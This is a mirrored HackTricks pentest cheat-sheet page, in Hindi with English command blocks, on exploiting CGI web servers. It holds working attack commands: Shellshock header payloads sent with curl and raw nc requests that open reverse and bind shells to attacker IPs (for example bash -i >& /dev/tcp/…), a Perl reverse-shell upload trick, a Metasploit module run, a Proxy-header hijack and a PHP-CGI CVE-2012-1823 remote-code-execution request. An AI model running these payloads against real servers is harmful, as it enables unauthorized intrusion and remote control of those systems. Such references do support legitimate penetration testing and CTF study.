mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
72 lines
8.3 KiB
Markdown
72 lines
8.3 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# जानकारी
|
|
|
|
**CGI स्क्रिप्ट पर्ल स्क्रिप्ट हैं**, इसलिए, यदि आपने एक सर्वर को समझौता किया है जो _**.cgi**_ स्क्रिप्ट को निष्पादित कर सकता है, तो आप **पर्ल रिवर्स शेल** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **अपलोड कर सकते हैं**, **एक्सटेंशन** को **.pl** से **.cgi** में बदल सकते हैं, **निष्पादन अनुमतियाँ** दे सकते हैं \(`chmod +x`\) और **वेब ब्राउज़र** से रिवर्स शेल **एक्सेस** कर सकते हैं ताकि इसे निष्पादित किया जा सके।
|
|
**CGI कमजोरियों** के लिए परीक्षण करने के लिए `nikto -C all` \(और सभी प्लगइन्स\) का उपयोग करने की सिफारिश की जाती है।
|
|
|
|
# **शेलशॉक**
|
|
|
|
**शेलशॉक** एक **कमजोरी** है जो यूनिक्स-आधारित ऑपरेटिंग सिस्टम में व्यापक रूप से उपयोग किए जाने वाले **Bash** कमांड-लाइन शेल को प्रभावित करती है। यह Bash की उन क्षमताओं को लक्षित करती है जो एप्लिकेशनों द्वारा भेजे गए कमांड को चलाने की होती हैं। यह कमजोरी **पर्यावरण चर** के हेरफेर में निहित है, जो गतिशील नामित मान होते हैं जो यह प्रभावित करते हैं कि कंप्यूटर पर प्रक्रियाएँ कैसे चलती हैं। हमलावर इसको **पर्यावरण चर** में **दुष्ट कोड** संलग्न करके शोषण कर सकते हैं, जो चर प्राप्त करने पर निष्पादित होता है। इससे हमलावरों को संभावित रूप से सिस्टम को समझौता करने की अनुमति मिलती है।
|
|
|
|
इस कमजोरी का शोषण करते समय **पृष्ठ एक त्रुटि फेंक सकता है**।
|
|
|
|
आप इस कमजोरी को यह देखकर **पता लगा सकते हैं** कि यह एक **पुरानी अपाचे संस्करण** और **cgi_mod** \(cgi फ़ोल्डर के साथ\) का उपयोग कर रहा है या **nikto** का उपयोग करके।
|
|
|
|
## **परीक्षण**
|
|
|
|
अधिकांश परीक्षण कुछ को इको करने पर आधारित होते हैं और उम्मीद करते हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में लौटाई जाएगी। यदि आपको लगता है कि एक पृष्ठ कमजोर हो सकता है, तो सभी cgi पृष्ठों की खोज करें और उनका परीक्षण करें।
|
|
|
|
**Nmap**
|
|
```bash
|
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
|
```
|
|
## **Curl \(प्रतिबिंबित, अंधा और आउट-ऑफ-बैंड\)**
|
|
```bash
|
|
# Reflected
|
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
|
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
|
# Out-Of-Band Use Cookie as alternative to User-Agent
|
|
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
|
```
|
|
[**Shellsocker**](https://github.com/liamim/shellshocker)
|
|
```bash
|
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
|
```
|
|
## शोषण
|
|
```bash
|
|
#Bind Shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
|
#Reverse shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
|
#Reverse shell using curl
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
|
#Reverse shell using metasploit
|
|
> use multi/http/apache_mod_cgi_bash_env_exec
|
|
> set targeturi /cgi-bin/admin.cgi
|
|
> set rhosts 10.1.2.11
|
|
> run
|
|
```
|
|
# **Proxy \(MitM से वेब सर्वर अनुरोध\)**
|
|
|
|
CGI प्रत्येक हेडर के लिए एक पर्यावरण चर बनाता है जो http अनुरोध में होता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।
|
|
|
|
चूंकि HTTP_PROXY चर का उपयोग वेब सर्वर द्वारा किया जा सकता है। एक **हेडर** भेजने का प्रयास करें जिसमें: "**Proxy: <IP_attacker>:<PORT>**" हो और यदि सर्वर सत्र के दौरान कोई अनुरोध करता है। आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर करने में सक्षम होंगे।
|
|
|
|
# पुराना PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
|
|
|
बुनियादी रूप से यदि cgi सक्रिय है और php "पुराना" \(<5.3.12 / < 5.4.2\) है तो आप कोड निष्पादित कर सकते हैं।
|
|
इस भेद्यता का लाभ उठाने के लिए आपको वेब सर्वर के कुछ PHP फ़ाइलों तक पहुंच प्राप्त करनी होगी बिना पैरामीटर भेजे \(विशेष रूप से "=" वर्ण भेजे बिना\)।
|
|
फिर, इस भेद्यता का परीक्षण करने के लिए, आप उदाहरण के लिए `/index.php?-s` तक पहुंच सकते हैं \(ध्यान दें `-s`\) और **अनुप्रयोग का स्रोत कोड प्रतिक्रिया में दिखाई देगा**।
|
|
|
|
फिर, **RCE** प्राप्त करने के लिए आप यह विशेष क्वेरी भेज सकते हैं: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` और **PHP कोड** जो **अनुरोध के शरीर में** निष्पादित किया जाना है।
|
|
उदाहरण:**
|
|
```bash
|
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
|
```
|
|
**कमजोरी और संभावित शोषणों के बारे में अधिक जानकारी:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF लेखन उदाहरण**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|